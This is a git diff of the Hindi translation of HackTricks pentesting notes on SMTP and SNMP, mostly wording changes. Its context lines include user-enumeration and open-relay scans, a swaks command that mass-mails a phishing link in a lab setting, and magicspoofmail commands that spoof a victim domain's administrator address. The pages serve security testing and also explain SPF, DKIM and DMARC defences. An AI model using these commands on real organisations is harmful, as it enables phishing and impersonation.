-**सिंपल मेल ट्रांसफर प्रोटोकॉल (SMTP)** एक प्रोटोकॉल है जो **ई-मेल भेजने और प्राप्त करने** के लिए TCP/IP सूट के भीतर उपयोग किया जाता है। प्राप्तकर्ता के अंत में संदेशों को कतारबद्ध करने में इसकी सीमाओं के कारण, SMTP अक्सर **POP3 या IMAP** के साथ उपयोग किया जाता है। ये अतिरिक्त प्रोटोकॉल उपयोगकर्ताओं को सर्वर मेलबॉक्स पर संदेशों को संग्रहीत करने और उन्हें समय-समय पर डाउनलोड करने की अनुमति देते हैं।
+**सिंपल मेल ट्रांसफर प्रोटोकॉल (SMTP)** एक प्रोटोकॉल है जो **ई-मेल भेजने और प्राप्त करने** के लिए TCP/IP सूट के भीतर उपयोग किया जाता है। प्राप्तकर्ता के अंत पर संदेशों को कतारबद्ध करने में इसकी सीमाओं के कारण, SMTP अक्सर **POP3 या IMAP** के साथ उपयोग किया जाता है। ये अतिरिक्त प्रोटोकॉल उपयोगकर्ताओं को एक सर्वर मेलबॉक्स पर संदेशों को संग्रहीत करने और उन्हें समय-समय पर डाउनलोड करने की अनुमति देते हैं।
व्यवहार में, यह सामान्य है कि **ई-मेल प्रोग्राम** **ई-मेल भेजने** के लिए **SMTP** का उपयोग करते हैं, जबकि **उन्हें प्राप्त करने** के लिए **POP3 या IMAP** का उपयोग करते हैं। यूनिक्स आधारित सिस्टम पर, **sendmail** ई-मेल उद्देश्यों के लिए सबसे अधिक उपयोग किया जाने वाला SMTP सर्वर है। Sendmail के रूप में ज्ञात व्यावसायिक पैकेज में एक POP3 सर्वर शामिल है। इसके अलावा, **Microsoft Exchange** एक SMTP सर्वर प्रदान करता है और POP3 समर्थन शामिल करने का विकल्प देता है।
@@ -15,11 +15,11 @@ PORT STATE SERVICE REASON VERSION
```
### EMAIL Headers
-यदि आपके पास **शिकार को आपको एक ईमेल भेजने का अवसर है** (उदाहरण के लिए, वेब पृष्ठ के संपर्क फ़ॉर्म के माध्यम से), तो ऐसा करें क्योंकि **आप ईमेल के हेडर को देखकर शिकार की आंतरिक टोपोलॉजी के बारे में जान सकते हैं।**
+यदि आपके पास **शिकार को आपको एक ईमेल भेजने का अवसर है** (उदाहरण के लिए, वेब पृष्ठ के संपर्क फ़ॉर्म के माध्यम से), तो ऐसा करें क्योंकि **आप शिकार की आंतरिक टोपोलॉजी के बारे में जान सकते हैं** मेल के हेडर को देखकर।
-आप एक SMTP सर्वर से एक ईमेल भी प्राप्त कर सकते हैं जो **उस सर्वर को एक गैर-मौजूद पते पर ईमेल भेजने की कोशिश कर रहा है** (क्योंकि सर्वर हमलावर को एक NDN मेल भेजेगा)। लेकिन, सुनिश्चित करें कि आप ईमेल एक अनुमत पते से भेजें (SPF नीति की जांच करें) और कि आप NDN संदेश प्राप्त कर सकते हैं।
+आप एक SMTP सर्वर से ईमेल भी प्राप्त कर सकते हैं जो **उस सर्वर को एक गैर-मौजूद पते पर ईमेल भेजने की कोशिश कर रहा है** (क्योंकि सर्वर हमलावर को एक NDN मेल भेजेगा)। लेकिन, सुनिश्चित करें कि आप ईमेल एक अनुमत पते से भेजें (SPF नीति की जांच करें) और कि आप NDN संदेश प्राप्त कर सकते हैं।
-आपको **विभिन्न सामग्री भेजने की कोशिश करनी चाहिए क्योंकि आप हेडर में अधिक दिलचस्प जानकारी पा सकते हैं** जैसे: `X-Virus-Scanned: by av.domain.com`\
+आपको **विभिन्न सामग्री भेजने की कोशिश भी करनी चाहिए क्योंकि आप हेडर में अधिक दिलचस्प जानकारी पा सकते हैं** जैसे: `X-Virus-Scanned: by av.domain.com`\
आपको EICAR परीक्षण फ़ाइल भेजनी चाहिए।\
**AV** का पता लगाना आपको **ज्ञात कमजोरियों का लाभ उठाने** की अनुमति दे सकता है।
@@ -40,14 +40,14 @@ openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```bash
dig +short mx google.com
```
-### गणना
+### Enumeration
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - जानकारी का खुलासा
-यदि सर्वर NTLM ऑथ (Windows) का समर्थन करता है, तो आप संवेदनशील जानकारी (संस्करण) प्राप्त कर सकते हैं। अधिक जानकारी [**यहां**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)।
+यदि सर्वर NTLM प्रमाणीकरण (Windows) का समर्थन करता है, तो आप संवेदनशील जानकारी (संस्करण) प्राप्त कर सकते हैं। अधिक जानकारी [**यहां**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)।
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
@@ -81,15 +81,15 @@ EHLO all
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
-### स्निफ़िंग
+### Sniffing
जांचें कि क्या आप पोर्ट 25 से पैकेट्स से कुछ पासवर्ड स्निफ़ कर रहे हैं
-### [ऑथ ब्रूटफोर्स](../../generic-hacking/brute-force.md#smtp)
+### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp)
-## यूज़रनेम ब्रूटफोर्स एन्यूमरेशन
+## Username Bruteforce Enumeration
-**प्रमाणीकरण हमेशा आवश्यक नहीं होता**
+**प्रमाणीकरण हमेशा आवश्यक नहीं है**
### RCPT TO
```bash
@@ -148,11 +148,11 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M -u -t
Nmap: nmap --script smtp-enum-users
```
-## DSN रिपोर्ट
+## DSN Reports
-**डिलीवरी स्टेटस नोटिफिकेशन रिपोर्ट**: यदि आप किसी संगठन को एक **ईमेल** भेजते हैं एक **अमान्य पते** पर, तो संगठन आपको सूचित करेगा कि पता अमान्य था **आपको एक मेल वापस भेजकर**। लौटाए गए ईमेल के **हेडर** में संभावित **संवेदनशील जानकारी** होगी (जैसे कि रिपोर्ट के साथ इंटरैक्ट करने वाली मेल सेवाओं का IP पता या एंटी-वायरस सॉफ़्टवेयर की जानकारी)।
+**डिलीवरी स्टेटस नोटिफिकेशन रिपोर्ट्स**: यदि आप किसी संगठन को एक **ईमेल** एक **अमान्य पते** पर भेजते हैं, तो संगठन आपको सूचित करेगा कि पता अमान्य था, **आपको एक मेल वापस भेजकर**। लौटाए गए ईमेल के **हेडर** में संभावित **संवेदनशील जानकारी** शामिल होगी (जैसे कि रिपोर्ट के साथ इंटरैक्ट करने वाली मेल सेवाओं का IP पता या एंटी-वायरस सॉफ़्टवेयर की जानकारी)।
-## [कमांड्स](smtp-commands.md)
+## [Commands](smtp-commands.md)
### लिनक्स कंसोल से ईमेल भेजना
```bash
@@ -168,11 +168,11 @@ If you are manually typing in a message:
```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
-### Python के साथ ईमेल भेजना
+### Sending an Email with Python
-यहाँ Python कोड
+Pyhton code here
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
@@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP Smuggling
-SMTP Smuggling भेद्यता ने सभी SMTP सुरक्षा को बायपास करने की अनुमति दी (सुरक्षा के बारे में अधिक जानकारी के लिए अगले अनुभाग की जांच करें)। SMTP Smuggling के बारे में अधिक जानकारी के लिए देखें:
+SMTP Smuggling भेद्यता ने सभी SMTP सुरक्षा को बायपास करने की अनुमति दी (सुरक्षा के बारे में अधिक जानकारी के लिए अगले अनुभाग को देखें)। SMTP Smuggling के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
smtp-smuggling.md
@@ -229,13 +229,13 @@ smtp-smuggling.md
संस्थाएँ **SPF**, **DKIM**, और **DMARC** का उपयोग करके उनकी ओर से अनधिकृत ईमेल भेजने से रोकी जाती हैं क्योंकि SMTP संदेशों को धोखा देना आसान है।
-इन **काउंटरमेशर्स के लिए एक पूर्ण गाइड** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) पर उपलब्ध है।
+इन **प्रतिबंधों के लिए एक पूर्ण गाइड** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) पर उपलब्ध है।
### SPF
> [!CAUTION]
> SPF [2014 में "deprecated" हुआ था](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)। इसका मतलब है कि `_spf.domain.com` में **TXT रिकॉर्ड** बनाने के बजाय आप इसे `domain.com` में **एक ही सिंटैक्स** का उपयोग करके बनाते हैं।\
-> इसके अलावा, पिछले spf रिकॉर्ड का पुन: उपयोग करने के लिए यह सामान्य है कि कुछ ऐसा पाया जाए जैसे `"v=spf1 include:_spf.google.com ~all"`
+> इसके अलावा, पिछले spf रिकॉर्ड का पुन: उपयोग करने के लिए यह आम है कि कुछ ऐसा पाया जाए जैसे `"v=spf1 include:_spf.google.com ~all"`
**Sender Policy Framework** (SPF) एक तंत्र है जो Mail Transfer Agents (MTAs) को यह सत्यापित करने में सक्षम बनाता है कि क्या एक ईमेल भेजने वाला होस्ट संगठनों द्वारा परिभाषित अधिकृत मेल सर्वरों की सूची को पूछकर अधिकृत है। यह सूची, जो IP पते/रेंज, डोमेन, और अन्य संस्थाओं को **एक डोमेन नाम की ओर से ईमेल भेजने के लिए अधिकृत** करती है, SPF रिकॉर्ड में विभिन्न "**Mechanisms**" को शामिल करती है।
@@ -250,19 +250,19 @@ smtp-smuggling.md
| IP4 | यदि भेजने वाला एक दिए गए IPv4 पते की रेंज में है, तो मेल खाता है। |
| IP6 | यदि भेजने वाला एक दिए गए IPv6 पते की रेंज में है, तो मेल खाता है। |
| MX | यदि डोमेन नाम का एक MX रिकॉर्ड है जो भेजने वाले के पते को हल करता है, तो यह मेल खाता है (यानी, मेल डोमेन के आने वाले मेल सर्वरों में से एक से आता है)। |
-| PTR | यदि ग्राहक के पते के लिए डोमेन नाम (PTR रिकॉर्ड) दिए गए डोमेन में है और वह डोमेन नाम ग्राहक के पते को हल करता है (फॉरवर्ड-कन्फर्म्ड रिवर्स DNS), तो मेल खाता है। इस तंत्र को हतोत्साहित किया गया है और इसे संभवतः टाला जाना चाहिए। |
+| PTR | यदि ग्राहक के पते के लिए डोमेन नाम (PTR रिकॉर्ड) दिए गए डोमेन में है और वह डोमेन नाम ग्राहक के पते को हल करता है (फॉरवर्ड-कन्फर्म्ड रिवर्स DNS), तो मेल खाता है। इस तंत्र की सिफारिश नहीं की जाती है और इसे संभवतः टाला जाना चाहिए। |
| EXISTS | यदि दिए गए डोमेन नाम का कोई भी पता हल होता है, तो मेल खाता है (कोई फर्क नहीं पड़ता कि यह किस पते को हल करता है)। इसका उपयोग शायद ही कभी किया जाता है। SPF मैक्रो भाषा के साथ यह DNSBL-queries जैसी अधिक जटिल मेल खाता है। |
| INCLUDE | किसी अन्य डोमेन की नीति को संदर्भित करता है। यदि उस डोमेन की नीति पास होती है, तो यह तंत्र पास होता है। हालाँकि, यदि शामिल की गई नीति विफल होती है, तो प्रसंस्करण जारी रहता है। किसी अन्य डोमेन की नीति को पूरी तरह से सौंपने के लिए, रीडायरेक्ट एक्सटेंशन का उपयोग किया जाना चाहिए। |
-| REDIRECT |
एक रीडायरेक्ट एक अन्य डोमेन नाम की ओर इशारा करता है जो एक SPF नीति को होस्ट करता है, यह कई डोमेन को समान SPF नीति साझा करने की अनुमति देता है। यह तब उपयोगी होता है जब एक बड़ी संख्या में डोमेन होते हैं जो समान ईमेल बुनियादी ढाँचे को साझा करते हैं।
यह रीडायरेक्ट तंत्र में इंगित डोमेन की SPF नीति का उपयोग किया जाएगा।
|
+| REDIRECT |
एक रीडायरेक्ट एक अन्य डोमेन नाम की ओर इशारा करता है जो एक SPF नीति को होस्ट करता है, यह कई डोमेन को समान SPF नीति साझा करने की अनुमति देता है। यह तब उपयोगी होता है जब एक बड़ी संख्या में डोमेन होते हैं जो समान ईमेल बुनियादी ढाँचे को साझा करते हैं।
रीडायरेक्ट तंत्र में निर्दिष्ट डोमेन की SPF नीति का उपयोग किया जाएगा।
|
यह पहचानना भी संभव है कि **Qualifiers** क्या संकेत करते हैं **यदि कोई तंत्र मेल खाता है तो क्या किया जाना चाहिए**। डिफ़ॉल्ट रूप से, **qualifier "+"** का उपयोग किया जाता है (तो यदि कोई तंत्र मेल खाता है, तो इसका मतलब है कि यह अनुमति दी गई है)।\
आप आमतौर पर **प्रत्येक SPF नीति के अंत में** कुछ ऐसा नोट करेंगे: **\~all** या **-all**। इसका उपयोग यह संकेत करने के लिए किया जाता है कि **यदि भेजने वाला किसी भी SPF नीति से मेल नहीं खाता है, तो आपको ईमेल को अविश्वसनीय (\~) के रूप में टैग करना चाहिए या ईमेल को अस्वीकार (-) करना चाहिए।**
#### Qualifiers
-नीति के भीतर प्रत्येक तंत्र को चार क्वालिफायर में से एक द्वारा पूर्ववर्ती किया जा सकता है ताकि इच्छित परिणाम को परिभाषित किया जा सके:
+नीति के भीतर प्रत्येक तंत्र को इच्छित परिणाम को परिभाषित करने के लिए चार क्वालिफायर में से एक द्वारा पूर्ववर्ती किया जा सकता है:
-- **`+`**: एक PASS परिणाम के अनुरूप है। डिफ़ॉल्ट रूप से, तंत्र इस क्वालिफायर को मानते हैं, जिससे `+mx` `mx` के बराबर हो जाता है।
+- **`+`**: एक PASS परिणाम के अनुरूप है। डिफ़ॉल्ट रूप से, तंत्र इस क्वालिफायर को मानते हैं, जिससे `+mx` `mx` के बराबर होता है।
- **`?`**: एक NEUTRAL परिणाम का प्रतिनिधित्व करता है, जिसे NONE (कोई विशिष्ट नीति नहीं) के समान माना जाता है।
- **`~`**: SOFTFAIL को दर्शाता है, जो NEUTRAL और FAIL के बीच एक मध्य भूमि के रूप में कार्य करता है। इस परिणाम को पूरा करने वाले ईमेल आमतौर पर स्वीकार किए जाते हैं लेकिन उचित रूप से चिह्नित होते हैं।
- **`-`**: FAIL को इंगित करता है, यह सुझाव देता है कि ईमेल को सीधे अस्वीकार किया जाना चाहिए।
@@ -286,13 +286,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
-परंपरागत रूप से, किसी भी डोमेन नाम को स्पूफ करना संभव था जिसके पास सही/कोई SPF रिकॉर्ड नहीं था। **आजकल**, यदि **ईमेल** किसी **डोमेन से आता है जिसके पास मान्य SPF रिकॉर्ड नहीं है**, तो इसे **स्वचालित रूप से अस्वीकृत/अविश्वसनीय के रूप में चिह्नित** किया जा सकता है।
+परंपरागत रूप से, किसी भी डोमेन नाम को स्पूफ करना संभव था जिसके पास सही/कोई SPF रिकॉर्ड नहीं था। **आजकल**, यदि **ईमेल** किसी **डोमेन से आता है जिसके पास मान्य SPF रिकॉर्ड नहीं है**, तो इसे **स्वचालित रूप से अस्वीकृत/अविश्वसनीय के रूप में चिह्नित किया जा सकता है**।
किसी डोमेन का SPF जांचने के लिए आप ऑनलाइन टूल का उपयोग कर सकते हैं: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
### DKIM (DomainKeys Identified Mail)
-DKIM का उपयोग आउटबाउंड ईमेल पर हस्ताक्षर करने के लिए किया जाता है, जिससे उनके बाहरी मेल ट्रांसफर एजेंट्स (MTAs) द्वारा मान्यता प्राप्त की जा सके, जो DNS से डोमेन की सार्वजनिक कुंजी को पुनः प्राप्त करते हैं। यह सार्वजनिक कुंजी किसी डोमेन के TXT रिकॉर्ड में स्थित होती है। इस कुंजी तक पहुँचने के लिए, चयनकर्ता और डोमेन नाम दोनों को जानना आवश्यक है।
+DKIM का उपयोग आउटबाउंड ईमेल पर हस्ताक्षर करने के लिए किया जाता है, जिससे उनके बाहरी मेल ट्रांसफर एजेंट (MTAs) द्वारा मान्यता प्राप्त की जा सके, जो DNS से डोमेन की सार्वजनिक कुंजी को पुनः प्राप्त करते हैं। यह सार्वजनिक कुंजी एक डोमेन के TXT रिकॉर्ड में स्थित होती है। इस कुंजी तक पहुँचने के लिए, चयनकर्ता और डोमेन नाम दोनों को जानना आवश्यक है।
उदाहरण के लिए, कुंजी का अनुरोध करने के लिए, डोमेन नाम और चयनकर्ता आवश्यक हैं। ये मेल हेडर `DKIM-Signature` में पाए जा सकते हैं, जैसे कि `d=gmail.com;s=20120113`।
@@ -302,9 +302,9 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
-### DMARC (डोमेन-आधारित संदेश प्रमाणीकरण, रिपोर्टिंग और अनुपालन)
+### DMARC (Domain-based Message Authentication, Reporting & Conformance)
-DMARC ईमेल सुरक्षा को SPF और DKIM प्रोटोकॉल पर आधारित करके बढ़ाता है। यह नीतियों को रेखांकित करता है जो मेल सर्वरों को एक विशिष्ट डोमेन से ईमेल के प्रबंधन में मार्गदर्शन करती हैं, जिसमें प्रमाणीकरण विफलताओं से निपटने और ईमेल प्रसंस्करण क्रियाओं के बारे में रिपोर्ट कहां भेजनी है, शामिल है।
+DMARC ईमेल सुरक्षा को SPF और DKIM प्रोटोकॉल पर आधारित करके बढ़ाता है। यह नीतियों को रेखांकित करता है जो विशेष डोमेन से ईमेल के प्रबंधन में मेल सर्वरों का मार्गदर्शन करती हैं, जिसमें प्रमाणीकरण विफलताओं से निपटने और ईमेल प्रोसेसिंग क्रियाओं के बारे में रिपोर्ट भेजने के स्थान शामिल हैं।
**DMARC रिकॉर्ड प्राप्त करने के लिए, आपको उपडोमेन \_dmarc को क्वेरी करना होगा**
```bash
@@ -322,7 +322,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
```
#### DMARC टैग
-| टैग नाम | उद्देश्य | उदाहरण |
+| टैग नाम | उद्देश्य | उदाहरण |
| -------- | --------------------------------------------- | ------------------------------- |
| v | प्रोटोकॉल संस्करण | v=DMARC1 |
| pct | फ़िल्टरिंग के अधीन संदेशों का प्रतिशत | pct=20 |
@@ -351,13 +351,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **ओपन रिले**
-जब ईमेल भेजे जाते हैं, तो यह सुनिश्चित करना कि उन्हें स्पैम के रूप में चिह्नित नहीं किया जाता है, महत्वपूर्ण है। यह अक्सर **प्राप्तकर्ता द्वारा विश्वसनीय रिले सर्वर** के उपयोग के माध्यम से प्राप्त किया जाता है। हालाँकि, एक सामान्य चुनौती यह है कि व्यवस्थापक यह नहीं जानते कि **कौन से IP रेंज सुरक्षित हैं**। इस समझ की कमी SMTP सर्वर को सेटअप करने में गलतियों का कारण बन सकती है, जो सुरक्षा आकलनों में अक्सर पहचानी जाती है।
+जब ईमेल भेजे जाते हैं, तो यह सुनिश्चित करना कि उन्हें स्पैम के रूप में चिह्नित नहीं किया जाता है, महत्वपूर्ण है। यह अक्सर **प्राप्तकर्ता द्वारा विश्वसनीय रिले सर्वर** के उपयोग के माध्यम से प्राप्त किया जाता है। हालांकि, एक सामान्य चुनौती यह है कि व्यवस्थापक यह नहीं जानते कि **कौन से IP रेंज सुरक्षित हैं**। इस समझ की कमी SMTP सर्वर को सेटअप करने में गलतियों का कारण बन सकती है, जो सुरक्षा आकलनों में अक्सर पहचानी जाती है।
-एक वर्कअराउंड जो कुछ व्यवस्थापक ईमेल वितरण समस्याओं से बचने के लिए उपयोग करते हैं, विशेष रूप से संभावित या चल रहे ग्राहकों के साथ संचार के संबंध में, यह है कि **किसी भी IP पते से कनेक्शन की अनुमति दें**। यह SMTP सर्वर के `mynetworks` पैरामीटर को सभी IP पते स्वीकार करने के लिए कॉन्फ़िगर करके किया जाता है, जैसा कि नीचे दिखाया गया है:
+कुछ व्यवस्थापक ईमेल वितरण समस्याओं से बचने के लिए, विशेष रूप से संभावित या चल रहे ग्राहकों के साथ संचार के संबंध में, एक समाधान के रूप में **किसी भी IP पते से कनेक्शन की अनुमति देते हैं**। यह SMTP सर्वर के `mynetworks` पैरामीटर को सभी IP पते स्वीकार करने के लिए कॉन्फ़िगर करके किया जाता है, जैसा कि नीचे दिखाया गया है:
```bash
mynetworks = 0.0.0.0/0
```
-एक मेल सर्वर यह जांचने के लिए कि क्या यह एक ओपन रिलेज़ है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल को अग्रेषित कर सकता है), `nmap` टूल का सामान्यत: उपयोग किया जाता है। इसमें इसे परीक्षण करने के लिए एक विशिष्ट स्क्रिप्ट शामिल है। एक सर्वर पर वर्बोज़ स्कैन करने के लिए (उदाहरण के लिए, IP 10.10.10.10 के साथ) पोर्ट 25 पर `nmap` का उपयोग करते हुए कमांड है:
+एक मेल सर्वर यह जांचने के लिए कि क्या यह एक ओपन रिलेज है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल को अग्रेषित कर सकता है), `nmap` टूल का सामान्यत: उपयोग किया जाता है। इसमें इसे परीक्षण करने के लिए एक विशिष्ट स्क्रिप्ट शामिल है। एक सर्वर पर वर्बोज़ स्कैन करने के लिए (उदाहरण के लिए, IP 10.10.10.10 के साथ) पोर्ट 25 पर `nmap` का उपयोग करते हुए कमांड है:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@@ -382,7 +382,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
> [!WARNING]
-> यदि आपको **dkim python lib** में कुंजी को पार्स करते समय कोई **त्रुटि** मिलती है, तो इस निम्नलिखित का उपयोग करने में संकोच न करें।\
+> यदि आपको **dkim python lib** का उपयोग करते समय कुंजी को पार्स करने में कोई **त्रुटि** मिलती है, तो इस निम्नलिखित का उपयोग करने में संकोच न करें।\
> **NOTE**: यह केवल एक गंदा फिक्स है ताकि उन मामलों में त्वरित जांच की जा सके जहाँ किसी कारणवश openssl निजी कुंजी **dkim द्वारा पार्स नहीं की जा सकती**।
>
> ```
@@ -475,28 +475,28 @@ s.sendmail(sender, [destination], msg_data)
### **अधिक जानकारी**
-**इन सुरक्षा उपायों के बारे में अधिक जानकारी प्राप्त करें** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
+**इन सुरक्षा उपायों के बारे में अधिक जानकारी के लिए** [**यहाँ देखें**](https://seanthegeek.net/459/demystifying-dmarc/)
### **अन्य फ़िशिंग संकेतक**
-- डोमेन की आयु
+- डोमेन की उम्र
- आईपी पते की ओर इशारा करने वाले लिंक
- लिंक हेरफेर तकनीकें
- संदिग्ध (असामान्य) अटैचमेंट
- टूटी हुई ईमेल सामग्री
-- उपयोग किए गए मान जो मेल हेडर के मानों से भिन्न हैं
+- मान जो मेल हेडर के मानों से भिन्न हैं
- एक मान्य और विश्वसनीय SSL प्रमाणपत्र का अस्तित्व
- वेब सामग्री फ़िल्टरिंग साइटों पर पृष्ठ का सबमिशन
-## SMTP के माध्यम से एक्सफिल्ट्रेशन
+## SMTP के माध्यम से डेटा निकालना
-**यदि आप SMTP के माध्यम से डेटा भेज सकते हैं** [**यहाँ पढ़ें**](../../generic-hacking/exfiltration.md#smtp)**.**
+**यदि आप SMTP के माध्यम से डेटा भेज सकते हैं** [**यह पढ़ें**](../../generic-hacking/exfiltration.md#smtp)**.**
## कॉन्फ़िग फ़ाइल
-### पोस्टफिक्स
+### Postfix
-आमतौर पर, यदि स्थापित है, तो `/etc/postfix/master.cf` में **स्क्रिप्ट होती हैं जो निष्पादित होती हैं** जब उदाहरण के लिए एक नया मेल किसी उपयोगकर्ता द्वारा प्राप्त होता है। उदाहरण के लिए, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` का अर्थ है कि यदि उपयोगकर्ता मार्क द्वारा एक नया मेल प्राप्त होता है, तो `/etc/postfix/filtering` निष्पादित किया जाएगा।
+आमतौर पर, यदि स्थापित है, तो `/etc/postfix/master.cf` में **स्क्रिप्ट होती हैं** जो उदाहरण के लिए, जब एक नया मेल किसी उपयोगकर्ता द्वारा प्राप्त होता है, तब निष्पादित होती हैं। उदाहरण के लिए, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` का अर्थ है कि यदि उपयोगकर्ता मार्क द्वारा एक नया मेल प्राप्त होता है, तो `/etc/postfix/filtering` निष्पादित किया जाएगा।
अन्य कॉन्फ़िग फ़ाइलें:
```
@@ -520,7 +520,7 @@ Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
-https://book.hacktricks.xyz/pentesting/pentesting-smtp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md
index a9058e097..0eabe8106 100644
--- a/src/network-services-pentesting/pentesting-snmp/README.md
+++ b/src/network-services-pentesting/pentesting-snmp/README.md
@@ -2,6 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
+
## Basic Information
**SNMP - Simple Network Management Protocol** एक प्रोटोकॉल है जिसका उपयोग नेटवर्क में विभिन्न उपकरणों (जैसे राउटर, स्विच, प्रिंटर, IoTs...) की निगरानी के लिए किया जाता है।
@@ -15,7 +16,7 @@ PORT STATE SERVICE REASON VERSION
### MIB
यह सुनिश्चित करने के लिए कि SNMP एक्सेस विभिन्न निर्माताओं और विभिन्न क्लाइंट-सर्वर संयोजनों के बीच काम करता है, **मैनेजमेंट इंफॉर्मेशन बेस (MIB)** बनाया गया था। MIB एक **स्वतंत्र प्रारूप है जो डिवाइस की जानकारी को संग्रहीत करने के लिए** है। एक MIB एक **टेक्स्ट** फ़ाइल है जिसमें एक डिवाइस के सभी क्वेरी करने योग्य **SNMP ऑब्जेक्ट्स** को एक **मानकीकृत** पेड़ पदानुक्रम में सूचीबद्ध किया गया है। इसमें कम से कम एक `ऑब्जेक्ट आइडेंटिफायर` (`OID`) होता है, जो आवश्यक **विशिष्ट पते** और एक **नाम** के अलावा, संबंधित ऑब्जेक्ट के प्रकार, एक्सेस अधिकारों और विवरण के बारे में जानकारी भी प्रदान करता है।\
-MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटैक्स नोटेशन वन` (`ASN.1`) आधारित ASCII टेक्स्ट प्रारूप में लिखी जाती हैं। **MIBs में डेटा नहीं होता**, लेकिन वे बताते हैं **कहाँ कौन सी जानकारी मिलेगी** और वह कैसी दिखती है, जो विशेष OID के लिए मान लौटाती है, या कौन सा डेटा प्रकार उपयोग किया जाता है।
+MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटैक्स नोटेशन वन` (`ASN.1`) आधारित ASCII टेक्स्ट प्रारूप में लिखी जाती हैं। **MIBs में डेटा नहीं होता**, लेकिन वे **यह समझाते हैं कि कौन सी जानकारी कहां मिलेगी** और यह कैसी दिखती है, जो विशेष OID के लिए मान लौटाती है, या कौन सा डेटा प्रकार उपयोग किया जाता है।
### OIDs
@@ -27,16 +28,16 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
.png>)
-आप यहाँ वेब से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या मतलब है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
+आप यहाँ वेब से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या अर्थ है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
कुछ **प्रसिद्ध OIDs** हैं जैसे कि [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) के भीतर जो MIB-2 द्वारा परिभाषित सरल नेटवर्क प्रबंधन प्रोटोकॉल (SNMP) वेरिएबल्स को संदर्भित करते हैं। और इस **OID से संबंधित OIDs** से आप कुछ दिलचस्प होस्ट डेटा (सिस्टम डेटा, नेटवर्क डेटा, प्रक्रियाओं का डेटा...) प्राप्त कर सकते हैं।
### **OID उदाहरण**
-[**यहाँ से उदाहरण**](https://www.netadmintools.com/snmp-mib-and-oids/):
+[**यहां से उदाहरण**](https://www.netadmintools.com/snmp-mib-and-oids/):
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
-इस पते का विश्लेषण यहाँ है।
+इस पते का विश्लेषण इस प्रकार है।
